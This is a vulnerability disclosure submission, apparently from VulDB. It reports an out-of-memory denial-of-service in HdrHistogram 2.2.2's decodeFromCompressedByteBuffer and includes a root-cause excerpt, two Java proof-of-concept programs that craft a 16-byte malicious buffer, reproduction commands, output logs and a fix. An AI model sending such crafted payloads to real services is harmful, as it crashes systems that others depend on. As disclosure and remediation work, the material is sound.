提出 #846752: HdrHistogram 2.2.2 Denial of Service情報

タイトルHdrHistogram 2.2.2 Denial of Service
説明## Vulnerability Summary | Field | Value | |-------|-------| | **Product** | HdrHistogram | | **Version** | 2.2.2 and earlier | | **Vendor** | HdrHistogram (Open Source) | | **Vulnerability Type** | CWE-789: Memory Allocation with Excessive Size Value | | **Severity** | High | | **CVSS 3.1 Score** | 7.5 (High) | | **CVSS 3.1 Vector** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H | | **Affected Component** | `org.HdrHistogram.AbstractHistogram.decodeFromCompressedByteBuffer()` | | **Source File** | `src/main/java/org/HdrHistogram/AbstractHistogram.java:2275-2281` | ## Description A vulnerability exists in HdrHistogram's compressed histogram decoding functionality where the `lengthOfCompressedContents` field read from an attacker-controlled ByteBuffer is used directly as an allocation size without any validation. When the ByteBuffer is not array-backed (e.g., a `DirectByteBuffer`), the code executes `new byte[lengthOfCompressedContents]` at line 2281, allowing an attacker to trigger an Out-of-Memory (OOM) condition with a payload as small as 16 bytes. ## Root Cause Analysis In `AbstractHistogram.java`, the `decodeFromCompressedByteBuffer()` method reads the compressed contents length from the buffer and uses it directly for memory allocation: ```java // AbstractHistogram.java:2275-2284 final int lengthOfCompressedContents = buffer.getInt(); // attacker-controlled! final Inflater decompressor = new Inflater(); if (buffer.hasArray()) { decompressor.setInput(buffer.array(), initialTargetPosition + 8, lengthOfCompressedContents); } else { byte[] compressedContents = new byte[lengthOfCompressedContents]; // NO VALIDATION! buffer.get(compressedContents); decompressor.setInput(compressedContents); } ``` The `lengthOfCompressedContents` value is never validated against: - The remaining bytes in the buffer (`buffer.remaining()`) - A reasonable maximum size - Negative values ## Attack Scenario Any application that decodes histogram data from untrusted network sources (e.g., metrics aggregation, distributed tracing, monitoring data exchange) is vulnerable. An attacker can send a crafted 16-byte payload over the network that causes the target JVM to attempt a multi-gigabyte allocation, resulting in: 1. `OutOfMemoryError` crashing the processing thread 2. Potential JVM-wide OOM affecting all threads 3. Complete denial of service for the monitoring/metrics service ## Proof of Concept ### POC Code ```java import org.HdrHistogram.*; import java.nio.ByteBuffer; import java.nio.ByteOrder; public class POC_OOM_CompressedLength { public static void main(String[] args) { // V2 compressed cookie int compressedCookie = 0x1c849304; // Use a DIRECT buffer (non-array-backed) to trigger the vulnerable path ByteBuffer buffer = ByteBuffer.allocateDirect(16).order(ByteOrder.BIG_ENDIAN); buffer.putInt(compressedCookie); // cookie buffer.putInt(Integer.MAX_VALUE / 2); // lengthOfCompressedContents = ~1GB! buffer.flip(); System.out.println("Payload size: " + buffer.remaining() + " bytes"); System.out.println("Claimed compressed length: " + (Integer.MAX_VALUE / 2) + " bytes"); try { Histogram.decodeFromCompressedByteBuffer(buffer, 0); } catch (OutOfMemoryError e) { System.out.println("OOM triggered: " + e.getMessage()); } } } ``` ### Reproduction Steps 1. Clone HdrHistogram repository: `git clone https://github.com/HdrHistogram/HdrHistogram` 2. Build the project: `mvn compile -DskipTests` 3. Compile POC: `javac -cp target/classes POC_OOM_CompressedLength.java` 4. Run with limited heap: `java -cp target/classes:. -Xmx64m POC_OOM_CompressedLength` ### Expected Output ``` Payload size: 8 bytes Claimed compressed length: 1073741823 bytes OOM triggered: Java heap space ``` ### Reproduction Result ``` [*] POC: Unvalidated lengthOfCompressedContents -> OOM DoS [*] Using DirectByteBuffer (non-array-backed) to trigger allocation path [*] Buffer: DirectByteBuffer, size=16 bytes [*] Claimed compressed length: 1073741823 bytes (~1GB) [*] The code will try: new byte[1073741823] [*] JVM max heap: 64MB [*] Attempting decode... [+] SUCCESS: OutOfMemoryError triggered! [+] Error: Java heap space [+] A 16-byte payload caused attempted 1GB allocation [+] Vulnerability confirmed: CWE-789 OOM DoS [+] Root cause: lengthOfCompressedContents not validated against buffer.remaining() ``` ## CVSS 3.1 Scoring Breakdown | Metric | Value | Justification | |--------|-------|---------------| | Attack Vector (AV) | Network (N) | Exploitable via network-received histogram buffers | | Attack Complexity (AC) | Low (L) | No special conditions required | | Privileges Required (PR) | None (N) | No authentication needed | | User Interaction (UI) | None (N) | No user interaction required | | Scope (S) | Unchanged (U) | Impact limited to the vulnerable component | | Confidentiality (C) | None (N) | No data disclosure | | Integrity (I) | None (N) | No data modification | | Availability (A) | High (H) | Complete denial of service via OOM | ## Impact - **Availability**: Complete denial of service. A single 16-byte malicious payload can crash the JVM. - **Affected Use Cases**: Any application that decodes compressed HdrHistogram data from untrusted sources, including metrics aggregation services, distributed tracing backends, and monitoring systems. - **Amplification Factor**: 16 bytes of attacker input causes attempted allocation of 1,073,741,823 bytes (~67 million times amplification). ## Remediation ```java // Add validation before allocation: final int lengthOfCompressedContents = buffer.getInt(); if (lengthOfCompressedContents < 0 || lengthOfCompressedContents > buffer.remaining()) { throw new IllegalArgumentException( "Compressed contents length (" + lengthOfCompressedContents + ") exceeds available buffer data (" + buffer.remaining() + ")"); } ``` ## Full POC Script ```java import org.HdrHistogram.*; import java.nio.ByteBuffer; import java.nio.ByteOrder; /** * POC for Vulnerability #3: Unvalidated Allocation Size from lengthOfCompressedContents * When ByteBuffer is NOT array-backed (direct buffer), the code allocates * new byte[lengthOfCompressedContents] without validating the value. */ public class POC_OOM_CompressedLength2 { public static void main(String[] args) { System.out.println("[*] POC: Unvalidated lengthOfCompressedContents -> OOM DoS"); System.out.println("[*] Using DirectByteBuffer (non-array-backed) to trigger allocation path"); // V2 compressed cookie int compressedCookie = 0x1c849304; // Use a DIRECT buffer (non-array-backed) to trigger the vulnerable path at line 2281 ByteBuffer buffer = ByteBuffer.allocateDirect(16).order(ByteOrder.BIG_ENDIAN); buffer.putInt(compressedCookie); // cookie buffer.putInt(Integer.MAX_VALUE / 2); // lengthOfCompressedContents = ~1GB! buffer.flip(); System.out.println("[*] Buffer: DirectByteBuffer, size=16 bytes"); System.out.println("[*] Claimed compressed length: " + (Integer.MAX_VALUE / 2) + " bytes (~1GB)"); System.out.println("[*] The code will try: new byte[" + (Integer.MAX_VALUE / 2) + "]"); System.out.println("[*] JVM max heap: " + (Runtime.getRuntime().maxMemory() / 1024 / 1024) + "MB"); System.out.println("[*] Attempting decode..."); try { Histogram.decodeFromCompressedByteBuffer(buffer, 0); System.out.println("[-] No exception"); } catch (OutOfMemoryError e) { System.out.println("[+] SUCCESS: OutOfMemoryError triggered!"); System.out.println("[+] Error: " + e.getMessage()); System.out.println("[+] A 16-byte payload caused attempted 1GB allocation"); System.out.println("[+] Vulnerability confirmed: CWE-789 OOM DoS"); System.out.println("[+] Root cause: lengthOfCompressedContents not validated against buffer.remaining()"); } catch (Exception e) { System.out.println("[!] Exception: " + e.getClass().getName() + ": " + e.getMessage()); if (e instanceof java.nio.BufferUnderflowException) { System.out.println("[+] BufferUnderflowException confirms the code tried to read the claimed bytes"); System.out.println("[+] With a larger (but still small) buffer, this would be OOM"); } } } } ``` ### Compile and Run ```bash javac -cp target/classes -d . POC_OOM_CompressedLength2.java java -cp target/classes:. -Xmx64m POC_OOM_CompressedLength2 ``` ## References - Repository: https://github.com/HdrHistogram/HdrHistogram - Affected File: `src/main/java/org/HdrHistogram/AbstractHistogram.java` - CWE-789: https://cwe.mitre.org/data/definitions/789.html
ソース⚠️ https://github.com/HdrHistogram/HdrHistogram/issues/219
ユーザー
 sara11h (UID 98571)
送信2026年06月03日 09:31 (1 月 ago)
モデレーション2026年07月04日 06:40 (1 month later)
ステータス重複
VulDBエントリ376279 [HdrHistogram 迄 2.2.2 AbstractHistogram.java lengthOfCompressedContents サービス拒否]
ポイント0

Interested in the pricing of exploits?

See the underground prices here!